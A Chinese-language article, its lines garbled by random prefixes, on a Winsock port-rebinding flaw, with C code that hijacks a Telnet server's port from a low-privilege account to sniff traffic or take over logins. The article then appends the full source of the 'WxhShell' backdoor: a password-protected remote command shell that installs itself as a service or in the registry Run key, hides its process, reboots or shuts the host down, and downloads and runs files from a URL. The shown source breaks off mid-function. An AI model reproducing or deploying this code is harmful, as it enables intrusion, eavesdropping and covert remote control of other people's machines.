在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
#`TgZKDg2 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
g]c[O*NTL 1OLqL saddr.sin_family = AF_INET;
u]NZ`t%AP do*}syQ`O saddr.sin_addr.s_addr = htonl(INADDR_ANY);
ml0.$z j"^+oxH bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
9SlNq05G7 7]xm2CHx5 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
}G o$
\Bk XC 7?VE 这意味着什么?意味着可以进行如下的攻击:
;*ix~taL% b*a2,MiM 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
2sNK a?|vQ*W 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Gb[`R}^dq uw\2qU3gk 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
dY?`f<* {oc igR0 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
dzK{
Z DRqZ,[!+ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
MuoF FvAA 7Dnp'*H 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
RLlU"
sw+{ k#[F` 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
3nT
Z)L } M/x >51< #include
5es[Ph|K5 #include
m}>F<;hQ #include
vR0];{ #include
H|cNH= DWORD WINAPI ClientThread(LPVOID lpParam);
Dnc(l( int main()
tm7u^9] {
Ii7QJ:^ WORD wVersionRequested;
e h,~^x5 DWORD ret;
VG/3xR&y WSADATA wsaData;
n wI!O BOOL val;
v]__%_ SOCKADDR_IN saddr;
q+B&orp SOCKADDR_IN scaddr;
f+rz|(6vs{ int err;
+[SgO}sF SOCKET s;
%OgS^_tu SOCKET sc;
9qS"uj int caddsize;
As+t##gN HANDLE mt;
Y>jiXl?&
DWORD tid;
Xl@cHO=i wVersionRequested = MAKEWORD( 2, 2 );
(98Nzgxgx} err = WSAStartup( wVersionRequested, &wsaData );
f|u#2!7 if ( err != 0 ) {
q80S[au printf("error!WSAStartup failed!\n");
bc
, p} return -1;
6_N(;6kx( }
/?';
nGq saddr.sin_family = AF_INET;
wP,JjPUt bQ|V!mrN} //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
sgE-`# 8w({\= saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
}w4QP+ x saddr.sin_port = htons(23);
~
ihI_q" if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
<AJ97MLcc {
p&VU0[LIC0 printf("error!socket failed!\n");
I(=V}s2 return -1;
[]s^
}
};'\~g,1 val = TRUE;
YJ(*wByM //SO_REUSEADDR选项就是可以实现端口重绑定的
xC
C:BO`pw if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
{mB0rKVm {
43V}#DA@ printf("error!setsockopt failed!\n");
4Vq%N return -1;
d\|!Hg, }
IHRGw //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
O{ /q-~_ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
[@4rjGwB //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
LkQX?2>] pKi& [ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
q\H[am {
?k(\ApVHj ret=GetLastError();
^U]UqX` printf("error!bind failed!\n");
" LJq%E return -1;
}%D^8>S }
9uWY@zu listen(s,2);
d|4}obCt while(1)
d:yqj: {
YtO|D caddsize = sizeof(scaddr);
[LRLJ_~g5 //接受连接请求
c_elShK8# sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
N<DGw?Rl if(sc!=INVALID_SOCKET)
t]Xw{)T {
t'ZWc\ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
VsA'de!V4[ if(mt==NULL)
Uo2GK3nT {
P\_` printf("Thread Creat Failed!\n");
;V<fB/S.=+ break;
H8"@iE, }
$HJwb-I }
g(4xC7xK6 CloseHandle(mt);
@Pt="*g }
<^$<#Kd closesocket(s);
p ]d]QMu WSACleanup();
be +4junf return 0;
JY6
Qp }
y{N-+10z DWORD WINAPI ClientThread(LPVOID lpParam)
l<N}!lG| {
P@FHnh3}Z$ SOCKET ss = (SOCKET)lpParam;
o*J3C> SOCKET sc;
yiO.z unsigned char buf[4096];
v,ju!I0. SOCKADDR_IN saddr;
.?l\g-;= long num;
:>=\. \ DWORD val;
Q1+dCCY#F DWORD ret;
v;)..X30 //如果是隐藏端口应用的话,可以在此处加一些判断
@9"J|} //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
y:6; LZ9[ saddr.sin_family = AF_INET;
_8E/)M saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Qubp9C#r saddr.sin_port = htons(23);
^#sU*trr if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Dtj&W<NXo {
G.UI|r/Kz printf("error!socket failed!\n");
gg8Uo G return -1;
ghRVso( }
F>rH^F val = 100;
e2A-;4?_ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
,2W8=ON {
rvw)-=qR[ ret = GetLastError();
hvaSH69*m return -1;
5;HH4?]p }
Gy(=706 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
87YyDWTn {
)+6MK(<" ret = GetLastError();
->V<DZK return -1;
y`=]T>X&x }
S;-
LIv if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
' <=+;q {
GN2Sn`; printf("error!socket connect failed!\n");
yNbjoFM.i closesocket(sc);
pfI"36]F closesocket(ss);
m|G'K[8 return -1;
T~='5iy| }
q7E~+p(>( while(1)
GI1 {
R~6$oeWAw //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
c??mL4$'N //如果是嗅探内容的话,可以再此处进行内容分析和记录
ruy}/7uf //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Pjc
Tx + num = recv(ss,buf,4096,0);
.qZI$
l. if(num>0)
f=9|b send(sc,buf,num,0);
qXwPDq/ else if(num==0)
&mx)~J^m break;
Dg?:/=,=9r num = recv(sc,buf,4096,0);
v'3J.?N if(num>0)
.yEBOMNZ send(ss,buf,num,0);
7yh/BZ1 else if(num==0)
aSnFKB break;
eYvWZJa4 }
55fC~J< closesocket(ss);
^=-y%kp" closesocket(sc);
Sb82}$sO return 0 ;
{.INnFGP@) }
nX`u[ks ]@u6HH~^ +csi[c)3E ==========================================================
#%h-[/ h3xAJ! 下边附上一个代码,,WXhSHELL
h[@tZ(jrY 9'X7wG ==========================================================
3z c U%* |Ur"&
Z{ #include "stdafx.h"
{fjdr XY3v_5~/1F #include <stdio.h>
ZNvEW #include <string.h>
"9Q40w\ #include <windows.h>
=D<PVGo9 #include <winsock2.h>
Rw0qcM\>| #include <winsvc.h>
|3KLk ?2 #include <urlmon.h>
XMu9 Uk{| ?m\t|/0Q #pragma comment (lib, "Ws2_32.lib")
aq@8"b(. #pragma comment (lib, "urlmon.lib")
'?p<lu^^B XLrwxj0 #define MAX_USER 100 // 最大客户端连接数
}*S `qW;B #define BUF_SOCK 200 // sock buffer
yvO{:B8% #define KEY_BUFF 255 // 输入 buffer
|M,iM] QvKh,rBFVG #define REBOOT 0 // 重启
7V!*NBsl #define SHUTDOWN 1 // 关机
)u`[6,d `M^=
D&Bf #define DEF_PORT 5000 // 监听端口
.E8_Oz Su/6Q$0 t #define REG_LEN 16 // 注册表键长度
SS WP~
t #define SVC_LEN 80 // NT服务名长度
:x4|X8> wMg0> // 从dll定义API
8b;1FQ' typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
f@|A[>"V typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
J`].:IOh typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
oUQ,61H typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
^Xq 6: %UERc{~o*, // wxhshell配置信息
e9U9Uu[ struct WSCFG {
heC/\@B int ws_port; // 监听端口
$m-2HhqZ char ws_passstr[REG_LEN]; // 口令
(Hb:?( int ws_autoins; // 安装标记, 1=yes 0=no
4i(JZN? char ws_regname[REG_LEN]; // 注册表键名
UKT%13CO4U char ws_svcname[REG_LEN]; // 服务名
aGtf z) char ws_svcdisp[SVC_LEN]; // 服务显示名
oF1,QQ^dg char ws_svcdesc[SVC_LEN]; // 服务描述信息
VoWNW char ws_passmsg[SVC_LEN]; // 密码输入提示信息
jk [1{I/ int ws_downexe; // 下载执行标记, 1=yes 0=no
_n50C"X=&( char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
sg3OL/" char ws_filenam[SVC_LEN]; // 下载后保存的文件名
T^k7o^N> 9Hb6nm };
tne ST. L"1}V // default Wxhshell configuration
|es?;s' struct WSCFG wscfg={DEF_PORT,
PuA9X[= "xuhuanlingzhe",
K1+)4!}%U 1,
TE7nJ gm "Wxhshell",
afuOeZP "Wxhshell",
%u5L!W& "WxhShell Service",
gv-xm "Wrsky Windows CmdShell Service",
c]n1':FT" "Please Input Your Password: ",
][+#;avU 1,
PGhY>$q>b "
http://www.wrsky.com/wxhshell.exe",
uXJ;A * "Wxhshell.exe"
JP!~,mdS };
0uOkMuy< mpU$+ // 消息定义模块
7e|s
wJ>4 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
CUBEW~X}M char *msg_ws_prompt="\n\r? for help\n\r#>";
.ps-4eXF char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
!Sh&3uy_qN char *msg_ws_ext="\n\rExit.";
`(ue63AZ char *msg_ws_end="\n\rQuit.";
j7$e28|_n char *msg_ws_boot="\n\rReboot...";
(a.z9nqGA char *msg_ws_poff="\n\rShutdown...";
M3c$=> char *msg_ws_down="\n\rSave to ";
jET{Le8i N~goI#4 char *msg_ws_err="\n\rErr!";
}Qn&^[[miL char *msg_ws_ok="\n\rOK!";
)NXmn95 M "p char ExeFile[MAX_PATH];
(|:M&Cna] int nUser = 0;
Ln')QN HANDLE handles[MAX_USER];
v&Yi int OsIsNt;
Ai=se2 Pq;U&, SERVICE_STATUS serviceStatus;
)wam8k5 SERVICE_STATUS_HANDLE hServiceStatusHandle;
&:9cAIe]H =.f-w0V // 函数声明
;c-(ObSm int Install(void);
#~}nFY. int Uninstall(void);
Wuc S:8#| int DownloadFile(char *sURL, SOCKET wsh);
ZM!CaR int Boot(int flag);
9kN}c<o void HideProc(void);
B(LWdap~ int GetOsVer(void);
~:kZgUP_f int Wxhshell(SOCKET wsl);
42{Ew8 void TalkWithClient(void *cs);
m ZtCL int CmdShell(SOCKET sock);
#%iDT6 int StartFromService(void);
eL10Q(;P` int StartWxhshell(LPSTR lpCmdLine);
3G,Oba[$< Bu<M\w?7Y VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
nBjqTud
VOID WINAPI NTServiceHandler( DWORD fdwControl );
wSzv|\
G 591>rh) // 数据结构和表定义
+7D|4 SERVICE_TABLE_ENTRY DispatchTable[] =
0=@?ob7 {
bv]`!g:
C {wscfg.ws_svcname, NTServiceMain},
LSa,1{ {NULL, NULL}
p4.wh|n };
Se:.4< 2,$8icM // 自我安装
Cc+t}"^ int Install(void)
"bFTk/ {
&gVN& char svExeFile[MAX_PATH];
we~[ ]
\
HKEY key;
:q$.,EZ4#n strcpy(svExeFile,ExeFile);
V)Z}En["1 ?*[N_'2W+ // 如果是win9x系统,修改注册表设为自启动
3GaQk- if(!OsIsNt) {
5,3'=mA6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
B6u/mo< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
\rx3aJl RegCloseKey(key);
*xx'@e|<; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
X[*<NN RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
0Is,*Srr RegCloseKey(key);
a]JYDq`,3 return 0;
BWeA@v }
[pC$+NX }
3c#BKHNC }
%+@O#P else {
ypbe!Y<i] m!|kW{B#A // 如果是NT以上系统,安装为系统服务
y6ECdVF SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
04LI]' if (schSCManager!=0)
<{dVKf,e {
r@72|:, SC_HANDLE schService = CreateService
"Q}#^h]F (
^ZvWR% schSCManager,
sv: 9clJ wscfg.ws_svcname,
nno}e/zqf wscfg.ws_svcdisp,
hv`~?n)D66 SERVICE_ALL_ACCESS,
%824Cqdc SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
6*PYFf` SERVICE_AUTO_START,
B8nf,dj?X SERVICE_ERROR_NORMAL,
-E^vLB)O svExeFile,
bx#>BK! NULL,
iQ tNAj NULL,
i2@VB6]? NULL,
#ZJ _T`l NULL,
W3]_m8,Z NULL
`n#H5Oyn );
j| v%)A if (schService!=0)
TC@s
{
K{x\4 CloseServiceHandle(schService);
$Z!`Hb CloseServiceHandle(schSCManager);
V@B__`y7 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
KK1gNC4R strcat(svExeFile,wscfg.ws_svcname);
!S^AgZ~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
3*]eigi) RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
&J55P]7w RegCloseKey(key);
pwO>h>ik return 0;
sC27FVwo }
{n(b{ibl }
il}%7b- CloseServiceHandle(schSCManager);
4FEk5D }
g+DzscIT }
$i&e[O7T; 3Dg,GaRk return 1;
v$~QU{& }
sqla}~CiX xgABpikC^ // 自我卸载
H]Cy=Zi" int Uninstall(void)
L>MLi3{ {
@WJgWJm HKEY key;
^=C{.{n cYFiJJLG] if(!OsIsNt) {
;E@G`=0St if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
QN@CPuy RegDeleteValue(key,wscfg.ws_regname);
t/ +=|* RegCloseKey(key);
`%CtWJ(e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
=fu
:@+ RegDeleteValue(key,wscfg.ws_regname);
H:!7: RegCloseKey(key);
.9R
[*< return 0;
[OHxonU }
ipQLK{]t }
dOqOw M.y }
km)zMoE{c{ else {
.zS?9MP NZ;{t\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
< XP9@t&
if (schSCManager!=0)
PUo/J~ v {
>=UF-xk; SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
"*LD 3 if (schService!=0)
bHg,1y)UC {
8>X d2X if(DeleteService(schService)!=0) {
dDm):Z*`b CloseServiceHandle(schService);
)\6&12rj CloseServiceHandle(schSCManager);
X5X?&* %{ return 0;
OH5>vV'i }
Lb;zBmwB CloseServiceHandle(schService);
N@O8\oQG }
p"l3e9&'j CloseServiceHandle(schSCManager);
ZKQG:M~| }
@;<ht c }
jV?
}9L^; 7<%<Ff@^)O return 1;
U
f|>
(C }
.C2TQ:B, . kGd<5vCs // 从指定url下载文件
fO0(Z int DownloadFile(char *sURL, SOCKET wsh)
F1jglH/MF) {
F)s{P Cl HRESULT hr;
w3=%*< char seps[]= "/";
AtF3%Zv2 char *token;
Pcu#lWC$ char *file;
$aN-Y?U% char myURL[MAX_PATH];
N@Y ljz| char myFILE[MAX_PATH];
)RO<o O ~4s'0 w^ strcpy(myURL,sURL);
YnxRg token=strtok(myURL,seps);
n|b5? 3 while(token!=NULL)
,y+$cM( {
H^.IY_I`U* file=token;
6oLwfTy token=strtok(NULL,seps);
(9<guv }
Q$:![}[( K4]g[z GetCurrentDirectory(MAX_PATH,myFILE);
hoQs
@[ strcat(myFILE, "\\");
)//I'V strcat(myFILE, file);
dbOdq send(wsh,myFILE,strlen(myFILE),0);
FXzFHU/dP send(wsh,"...",3,0);
:6zG7qES3 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
%{/%mJoX if(hr==S_OK)
1Wm)rXW[x return 0;
*+uHQgn( else
3&6#F"7 return 1;
M/):e$S ?0YCpn }
INkD=tX ?Y:8eD"* // 系统电源模块
zN{K5<7o int Boot(int flag)
\0mb
3Q' {
~(pmLZ<GW} HANDLE hToken;
lY{FSGp TOKEN_PRIVILEGES tkp;
(y?ITz9 =QK$0r]c'k if(OsIsNt) {
wMdal:n^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
GrTulN? LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
`)T~psT tkp.PrivilegeCount = 1;
s/7 A7![ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
d3W0-INL AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
K]j0_~3s if(flag==REBOOT) {
,RgB$TcE if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
:^Fh!br== return 0;
e"'#\tSG }
zGc:
@z else {
n+BJxu? if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
3/b;7\M return 0;
+,yK;^b }
zoDH` h_ }
yuDZ~0]R else {
TYlbU< if(flag==REBOOT) {
{X*^s5{;H if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
;b`[&g return 0;
59zENUYl }
\MK*by else {
o$[z],RO if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
!!4Qj return 0;
V^hE}`>z& }
ZVbl88,(l }
e]T`ot#/ hUD7_arKF
return 1;
zfc3)7 }
f]G>(V=i !^v5-xO?rP // win9x进程隐藏模块
\=0Vuz void HideProc(void)
{@<J_A {
&f7fK|} V\})3i8 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
0]D{Va if ( hKernel != NULL )
bJYda) {
P ~#>H{ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
LY[~Os W ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
f+|$&p% FreeLibrary(hKernel);
quvanxV-L }
Up:<=Kgci Gcb|W& return;
H*bs31i{ }
25NTIzI@@ )@~J // 获取操作系统版本
R-Z~V int GetOsVer(void)
e#,~,W.H {
]$p{I)d& OSVERSIONINFO winfo;
<H0R&l\ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
`'\t$nU GetVersionEx(&winfo);
`xz<>g9e if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
/
}R z=& return 1;
}lK3-2Pk else
w~#nYM=fP! return 0;
-tnQCwq# }
BW"&6t#kA N`E-+9L) // 客户端句柄模块
8/t$d#xHI int Wxhshell(SOCKET wsl)
*26334B.R {
{CR 5K9 SOCKET wsh;
16L]=&@ struct sockaddr_in client;
50
A^bbid DWORD myID;
`\X+ Ud| 3:{yJdpg while(nUser<MAX_USER)
U~W?s(Cy% {
urvduE int nSize=sizeof(client);
(mtoA#X1:h wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
s;1]tD if(wsh==INVALID_SOCKET) return 1;
h?-#9<A (;%|-{7e- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
nuo Pg3Nl if(handles[nUser]==0)
TRZRYm" closesocket(wsh);
JT9N!CGZ else
?88`fJ@tk? nUser++;
0<PR+Iv*i }
}<z_Q_b+e WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
q %0Cg= hky;CD~$ return 0;
S!PzLTc }
+dBz`WD LTJc,3\, // 关闭 socket
RUr=fEH void CloseIt(SOCKET wsh)
[]0mX70N {
/)xlJUq closesocket(wsh);
QZX~T|Ckv nUser--;
BS&;n ExitThread(0);
Cda!Mk: }
);*YQmdx' `MEYd U1 // 客户端请求句柄
8?*RIA.a void TalkWithClient(void *cs)
R.LL#u}; {
?<Y+peu p#SY /KIw SOCKET wsh=(SOCKET)cs;
U$H@ jJ* char pwd[SVC_LEN];
# wc \T char cmd[KEY_BUFF];
^FZ^6* char chr[1];
;f,c't@w int i,j;
JbO ~n
)%x ]#/4Y_d while (nUser < MAX_USER) {
}tPk@$ m^_6:Q0F!8 if(wscfg.ws_passstr) {
'!P"xBVAu if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
YUQtMf9 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
mR8W]'gl.L //ZeroMemory(pwd,KEY_BUFF);
z4@k$
L8 i=0;
9'x)M?{8 while(i<SVC_LEN) {
n,~;x@=5 !GW,\y // 设置超时
OG3/-K 8R fd_set FdRead;
q8:{Nk struct timeval TimeOut;
tRw@U4=y FD_ZERO(&FdRead);
X%bFN FD_SET(wsh,&FdRead);
0t#g} TimeOut.tv_sec=8;
]O{u tm TimeOut.tv_usec=0;
]NhS=3*i+ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
aS|wpm)K>8 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
* MM[u75 }X;U|]d if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
qn"D#K'&( pwd
=chr[0]; i)Lp7m z
if(chr[0]==0xd || chr[0]==0xa) { [!^-J}^g~\
pwd=0; V@d)?T
break; PuxK?bwC
} k>E`s<3
i++; |3K)$.6~
} .$",
*d
x'Pi5NRE
// 如果是非法用户,关闭 socket JaWv]@9*
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M }0eu(_|
} M,3wmW&d6
FFEfp.T1M
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hNXBVIL<&
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W9t"aZor
ha;l(U>
while(1) { AGYm';z3
7GZgu$'
ZeroMemory(cmd,KEY_BUFF); I8H%=Kb?9
IMQ]1uq0$
// 自动支持客户端 telnet标准 JNWg|Qt
j=0; K?#]("De6
while(j<KEY_BUFF) { # x>g a
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Rq~t4sA:
cmd[j]=chr[0]; xx*2?i
if(chr[0]==0xa || chr[0]==0xd) { &X`u9 V
cmd[j]=0; 5j"1z1_&
break; SbsouGD,{
} kllQca|$4
j++; /?"8-0d
} 8 _d-81Dd
1Q}mf !Y
// 下载文件 %HtuR2#ca
if(strstr(cmd,"http://")) { 6Ggs JU
send(wsh,msg_ws_down,strlen(msg_ws_down),0); #$\fh;!W
if(DownloadFile(cmd,wsh)) Y{ f7
f'_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 92dF`sv
else 3Dm8[o$Z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7.<^j[?
} ;]CVb`d
else { GR'Ti*Qi
r)1Z(tl
switch(cmd[0]) { 1xnLB>jP#
G>T')A
// 帮助 l{P\No
case '?': { ;52'}%5
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);
Jf:,y~mV
break; +rNkN:/L
} TrE3S'EU#R
// 安装 YpdNX.P,
case 'i': { WV kR56
if(Install()) iO!6}yJ*V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ++[5q+b
else d]0a%Xh[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W( *V2<$o
break; Em13dem
} :ipoD%@
// 卸载 $%c{06Oq(
case 'r': { e[Xq
if(Uninstall()) Zu<]bv
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (7$$;
else N:+
taz-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mxz,wfaH>
break; ~el-*=<m
} b_$1f>
// 显示 wxhshell 所在路径 V*jsq[q=
case 'p': { X=p"5hhfn
char svExeFile[MAX_PATH]; 2BB<mv
K4
strcpy(svExeFile,"\n\r"); EU`T6M
strcat(svExeFile,ExeFile); S0@T0y#
send(wsh,svExeFile,strlen(svExeFile),0); 7h<> k*E)
break; (L69{n
} Yx?aC!5M
// 重启 %l9$a`&
case 'b': { @YL}km&Fw
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~I_owCVZ
if(Boot(REBOOT)) lxb 8xY
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zjM/M
else { W3pQ?
closesocket(wsh); <O857j
ExitThread(0); ^)\+l%M
} ;[5r7
jHU
break; Y_H/3?b%
} ]rX9MA6
// 关机 rFd@mO
case 'd': { ()|3
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Gbb\h
if(Boot(SHUTDOWN)) 9&jPp4qG
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fGu!M9qN4
else { #\FT EY!
closesocket(wsh); >!BFt$sd
ExitThread(0); @phN|;?
} J|j;g!fK
break; r,'O).7
} j@P5(3r
// 获取shell {\We72!
case 's': { @ ^.*$E5
CmdShell(wsh); t .=Oj
closesocket(wsh); k,_i#9X
ExitThread(0); L+R>%d
s
break; s-6:N9-
} $%He$t
// 退出 ks:{TA27
case 'x': { ~I$}#
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A'g,:8Ou
CloseIt(wsh); 1ih* gJPpj
break; xwLy|&
} >UN vkQ:
// 离开 dQ6GhS~
case 'q': { HDj$"pS
send(wsh,msg_ws_end,strlen(msg_ws_end),0); [$:@X V(
closesocket(wsh); FfXZ|o$;
WSACleanup(); okDJ(AIV+
exit(1); ay[ZsQC
break; j |td,82.
} }xJR.]).KW
} 6+ANAk
} G+C}<S}
"WP% REE!
// 提示信息 <ge}9pU)o^
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y- ~;E3(
} ,RN|d0dE
} f!!P
9fCO7AE0#
return; v>:=w|.HC
} x\]z j!
$kv[iI@
// shell模块句柄 Z"N(=B
int CmdShell(SOCKET sock) eaxfn]gV
{ F,.Q|.nN
STARTUPINFO si; 1gk0l'.z
ZeroMemory(&si,sizeof(si)); ?&\h;11T
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u#!GMZJN
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9b%|^.B
PROCESS_INFORMATION ProcessInfo; z.j4tc9F/5
char cmdline[]="cmd"; "B?R|
Xg
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /pU|ZA.z'2
return 0; F7V6-V{_
} IadK@?X6j
V0S6M^\DK
// 自身启动模式 ;,v.(Z ic
int StartFromService(void) )1K! [W}t
{ 5Abz5-^KH
typedef struct ~R$[n.Vpk
{ Ri[S<GOMii
DWORD ExitStatus; 15JsmA*Q
DWORD PebBaseAddress; qkiJH T
DWORD AffinityMask; ]qMH=>pOsj
DWORD BasePriority; 1oB$u!6P
ULONG UniqueProcessId; W0U`Kt&~a
